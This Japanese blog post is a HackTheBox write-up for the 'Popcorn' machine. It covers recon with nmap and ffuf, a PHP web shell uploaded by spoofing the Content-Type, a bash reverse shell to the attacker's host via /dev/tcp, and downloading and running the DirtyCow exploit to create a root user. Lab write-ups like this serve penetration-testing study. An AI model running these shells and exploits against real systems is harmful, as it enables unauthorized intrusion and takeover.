1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

今回はHackTheBoxのMediumマシン「Popcorn」のWriteUpです。
名前からはどのようなマシンなのか想像つきませんね。。楽しみです!

image.png

グラフはいつものMediumマシンよりも少し簡単め?でしょうか。
評価はかなり高いので期待できます!サクッと攻略目指して頑張ります~!

HackTheBoxって何?という方は下記の記事を見てみてください!一緒にハッキングしましょう〜!

また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください!

Popcorn

列挙

それでは攻略開始しましょう。
まずはnmapを実行して、ポートスキャンを行います。

+[~/popcorn]
(σ▰>∇<)σ<10.10.14.6>$ sudo nmap -Pn -v -n -sV -p- --min-rate=1000 10.10.10.6

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 5.1p1 Debian 6ubuntu2 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.2.12

22番と80番がオープンしています。ブラウザからアクセスしてみましょう。

image.png

Apacheのデフォルトページが表示されました。
さすがに情報がなさすぎるので、ディレクトリ探索を行います。

+[~/popcorn]
(σ▰>∇<)σ<10.10.14.6>$ ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://popcorn.htb/FUZZ -ic

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

                        [Status: 200, Size: 177, Words: 22, Lines: 5, Duration: 207ms]
index                   [Status: 200, Size: 177, Words: 22, Lines: 5, Duration: 3858ms]
test                    [Status: 200, Size: 47410, Words: 2478, Lines: 655, Duration: 183ms]
torrent                 [Status: 301, Size: 312, Words: 20, Lines: 10, Duration: 182ms]
rename                  [Status: 301, Size: 311, Words: 20, Lines: 10, Duration: 181ms]
                        [Status: 200, Size: 177, Words: 22, Lines: 5, Duration: 181ms]
:: Progress: [220547/220547] :: Job [1/1] :: 220 req/sec :: Duration: [0:17:27] :: Errors: 1 ::

いくつか新規のパスを確認できました。いくつか気になるものがありますが、torrentが名前的にも怪しいのでアクセスしてみます。

image.png

Torrent Hosterというサイトが表示されました。ログイン機能があるようなので、簡単にSQLインジェクションを試しましたが発火しません。
サイト内を見てみると、アップロード機能などがありそうですがログインしていないと使用できないようなので、ユーザを新規登録します。

image.png

登録できたらログインしましょう。

image.png

ログインに成功しました。

WEB Shell via File Upload

ログインしたことにより、アップロード機能等を使用できるようになりました。アップロード機能はよく脆弱性が見つかるので気になります。アクセスしてみましょう。

image.png

torrentファイルをアップロードできる画面が表示されました。少し試したところ、この機能ではtorrentファイルのみアップロードできるように制限されており、WEBシェルは作成できそうにありません。とりあえず試しに適当なtorrentファイルをアップロードしてみます。

image.png

アップロードできました。詳細ページ?ではカテゴリやサイズが表示されており、少し下に行くと...

image.png

スクリーンショットやコメントを追加するボタンも表示されました。「Edit this torrent」というボタンを押すことでスクリーンショットをアップロードできそうです。押下してみましょう。

image.png

アップロード画面が表示されましたね。見てみると、許可されているファイルタイプが指定されていますが、スクリーンショットを追加する機能は正常に制御されていないかもしれません。試してみましょう。まずPHPファイルを用意します。

+[~/popcorn]
(σ▰>∇<)σ<10.10.14.6>$ cat shell.php 
<?php system($_GET['cmd']); ?>

作成したファイルをアップロードしてみます。が、アップロードする前にBurpSuiteのインターセプト機能をONにしておき、アップロードによって生じたリクエストを捕捉します。
捕捉後、Content-Typeapplication/x-phpからimage/pngへ変更します。

image.png

こちらでアップロードしてみましょう。

image.png

アップロードに成功しました!あとはアクセスするだけですね。ファイルパスを確認するためにtorrentファイルの詳細ページを再読み込みしましょう。

image.png

スクリーンショットの部分に「Image File Not Found!」というメッセージが表示されています。そのメッセージをクリックしてBurpSuiteのログを確認すると...

image.png

アップロードしたファイルのパスが確認できました。
あとはこのファイルにアクセスするだけです。cmdパラメータにはidを指定します。

image.png

idコマンドの実行結果が確認できました!

www-data としてのシェル

それでは、シェルを取得していきます。まずは待ち受けを開始しましょう。

+[~/popcorn]
(σ▰>∇<)σ<10.10.14.6>$ nc -lnvp 2121 
listening on [any] 2121 ...

次に実行するコマンドを用意します。今回は以下のコマンドを使用しました。

bash -c 'bash -i >& /dev/tcp/10.10.14.6/2121 0>&1'

これで準備万端です。cmdパラメータに上記のコマンドを指定し、実行させましょう。
ブラウザはタイムアウトになりますが、待ち受けを確認すると...

+[~/popcorn]
(σ▰>∇<)σ<10.10.14.6>$ nc -lnvp 2121 
listening on [any] 2121 ...
connect to [10.10.14.6] from (UNKNOWN) [10.10.10.6] 36748
bash: no job control in this shell
www-data@popcorn:/var/www/torrent/upload$ whoami
www-data

侵入成功です!

www-data@popcorn:/home/george$ ls -l
total 836
-rw-r--r-- 1 george george 848727 Mar 17  2017 torrenthoster.zip
-rw-r--r-- 1 george george     33 Sep  7 05:46 user.txt

侵入できたユーザはwww-dataでしたが、ユーザフラグを読むことができました。

垂直権限昇格

それでは権限を昇格していきましょう。まずはsudo -lを実行してみます。

www-data@popcorn:/home/george$ sudo -l
[sudo] password for www-data: 

パスワードが求められるのでsudoは使用できなさそうです。

CVE-2016-5195 (DirtyCow)

次に、Linuxのバージョンを調査することにしました。unameを実行します。

www-data@popcorn:/home/george$ uname -r
2.6.31-14-generic-pae

カーネルバージョンが2.6.31であることがわかりました。このバージョンはあの超有名な脆弱性が存在していそうです。調べてみると以下のサイトを発見しました。

サイトによると、カーネルバージョン2.6.22から4.8.3まではDirtyCowに脆弱であることがわかります。実際に権限昇格できるか試してみましょう。
使用するPoCコードは以下のサイトにあります。

それでは攻撃を開始しましょう。まずはPoCコードをローカルへダウンロードします。

+[~/popcorn]
(σ▰>∇<)σ<10.10.14.6>$ git clone https://github.com/firefart/dirtycow.git     
Cloning into 'dirtycow'...
remote: Enumerating objects: 26, done.
remote: Counting objects: 100% (3/3), done.
remote: Compressing objects: 100% (3/3), done.
remote: Total 26 (delta 0), reused 1 (delta 0), pack-reused 23 (from 1)
Receiving objects: 100% (26/26), 8.23 KiB | 4.12 MiB/s, done.
Resolving deltas: 100% (6/6), done.

次に、PoCコードをターゲットへ送信する必要があるので、Kali LinuxでHTTPサーバを立ち上げ、ターゲット側からダウンロードさせましょう。

-- Kali Linux
+[~/popcorn/dirtycow]
(σ▰>∇<)σ<10.10.14.6>$ python3 -m http.server 8021 

-- Target
www-data@popcorn:/tmp$ wget 10.10.14.6:8021/dirty.c

送信に成功したら、コンパイルしていきます。

www-data@popcorn:/tmp$ gcc -pthread dirty.c -o dirty -lcrypt

これで準備万端です!コンパイルして生成されたバイナリを実行しましょう。

www-data@popcorn:/tmp$ ./dirty
/etc/passwd successfully backed up to /tmp/passwd.bak
Please enter the new password: 
Complete line:
firefart:fiiHVWY1/yAko:0:0:pwned:/root:/bin/bash

mmap: b780e000
ptrace 0
Done! Check /etc/passwd to see if the new user was created.
You can log in with the username 'firefart' and the password 'perplex'.

DONT FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd

実行すると、パスワードの入力が求められます。これは新たにルートユーザとして作成するユーザ(firefart)のパスワードになります。

root としてのシェル

それでは、新たに作成したユーザ(firefart)でログインしましょう。

www-data@popcorn:/tmp$ su firefart
Password: 
firefart@popcorn:/tmp# id
uid=0(firefart) gid=0(root) groups=0(root)

ログインに成功し、idコマンドの結果からルートユーザとしての権限が得られていることがわかります!権限昇格成功です。

firefart@popcorn:~# ls -l
total 4
-rw------- 1 firefart root 33 2024-09-07 05:46 root.txt

ルートフラグも取得し、完全攻略達成です!

攻略を終えて

今回のマシンはMediumマシンでしたが、ひと昔前ということで最近のEasyマシンよりも簡単なのでは?と思いました笑
ただ脆弱性の発火自体はかなり綺麗で癖も強くなかったので、ペネトレーションテストの学習という点ではひと昔前のマシンが有力かなとも思いました。
DirtyCow自体は何度か攻撃したことがありますが、権限昇格の簡単さに毎回恐ろしいなと思うばかりです。何度も言いますが、バージョン管理重要ですね。。。
今後もHackTheBoxのWriteUpを公開していくので、見ていただけると嬉しいです。
最後まで閲覧していただきありがとうございました!

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?